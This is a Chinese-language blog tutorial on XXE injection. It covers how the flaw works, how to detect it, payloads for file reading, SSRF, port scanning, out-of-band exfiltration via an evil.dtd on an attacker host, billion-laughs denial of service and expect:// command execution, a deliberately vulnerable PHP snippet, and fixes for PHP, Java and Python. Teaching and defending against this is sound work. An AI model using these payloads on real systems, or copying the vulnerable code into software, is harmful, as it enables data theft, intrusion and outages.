xxe外部实体注入
我眼中的xxe
XXE外部实体注入
漏洞原理详细介绍
在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取敏感文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。
前置知识
xml基础知识
这个漏洞可能会出现在什么地方?
XML的功能就是传输和存储数据,在业务中通常是用于传输数据
常见的有提交数据的地方,如登录数据信息就有可能是用XML的格式提交,以及一切可以解析XML的地方(包括上传文件也有可能解析xml),具体就要看开发者怎么做了
怎么检测漏洞?
- DNS外带
- 通过返回的错误信息判断,如果返回的是文件不存在的信息,说明存在XXE
利用条件是什么?
- 没有禁止引用外部实体,PHP中libxml 2.9.0开始(大概相当于php5.5),默认情况下禁用实体,libxml版本可以通过phpinfo获取
- 没有过滤关键字 ENTITY 、SYSTEM
怎么利用(无waf)?
http请求头:
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
利用file协议读取文件,
<!DOCTYPE root [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <root> <foo>&file;</foo> </root>
如果是PHP还可以用PHP伪协议读文件
<!DOCTYPE root [ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=config.php" > ]> <root> <foo>&file;</foo> </root>
利用http协议进行端口探测是否关闭
如果关闭会返回Connection refused,或者根据响应时间长短判断
<!DOCTYPE root [ <!ENTITY portscan SYSTEM "http://127.0.0.1:6379" > ]> <root> <foo>&portscan;</foo> </root>
利用HTTP协议进行SSRF攻击内网redis、struts2等服务
<!DOCTYPE root [ <!ENTITY ssrf SYSTEM "http://127.0.0.1:6379/info" > ]> <root> <foo>&ssrf;</foo> </root>
如果没有回显还可以外带
首先在攻击者服务器创建一个恶意DTD文件evil.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://<evil attacker hostname>:8000/?collect=%file;'>"> %all;
然后构造payload
<!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/lsb-release"> <!ENTITY % dtd SYSTEM "http://<evil attacker hostname>:8000/evil.dtd"> %dtd; ]> <data>&send;</data>
建议用python或者php创建一个临时的web服务
python3 -m http.server 8000
python2 -m SimpleHTTPServer 8000
php -S 127.0.0.1:8000
拒绝服务
构造恶意的XML递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY loll "&lol;&lol;&lol ;&lol ;&lol ;&lol;&lol;&loL;&lol;&lol;"> <!ENTITY lol2 "&loll;&lol1;&loll;&lol1;&lol1;&loll;&lol1;&loll;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&loL4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5 ;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <xxeElement>hello&lol9;</xxeElement>
命令执行
PHP要开启PECL上的Expect扩展
<!DOCTYPE root [ <!ENTITY rce SYSTEM "expect://id" > ]> <root> <foo>&rce;</foo> </root>
怎么过waf?
有待补充
漏洞代码
PHP相关函数与对象:
- simplexml_load_***()
- xml_parser***()
- XMLReader::***()
- DOMDocument::loadXML()
Java相关对象方法:
- DocumentBuilder::parse()
- SAXParser::parse()
- SAXReader::read()
- SAXBuilder::build()
示例PHP漏洞代码
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
怎么防御修复漏洞?
禁用外部实体
PHP可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。
其它可以参考owasp的建议:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
PHP8使用libxml_set_external_entity_loader()来防止xxe,使用方法可以参考这里https://www.php.net/manual/zh/function.libxml-set-external-entity-loader.php
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false).setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
关键词:SYSTEM、PUBLIC、ENTITY
相关工具
burp插件Generic XXE Detector
练习靶场
各种语言的xxe靶场xxe-lab https://github.com/c0ny1/xxe-lab
PHPxxe靶场bWAPP https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
漏洞现状
由于PHP版本从5.5开始默认禁用外部实体,所以PHP中XXE基本上是绝迹了
Java中XXE依旧活跃
参考
https://security.tencent.com/index.php/blog/msg/69
https://www.cnblogs.com/likwo/archive/2011/08/24/2151793.html
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!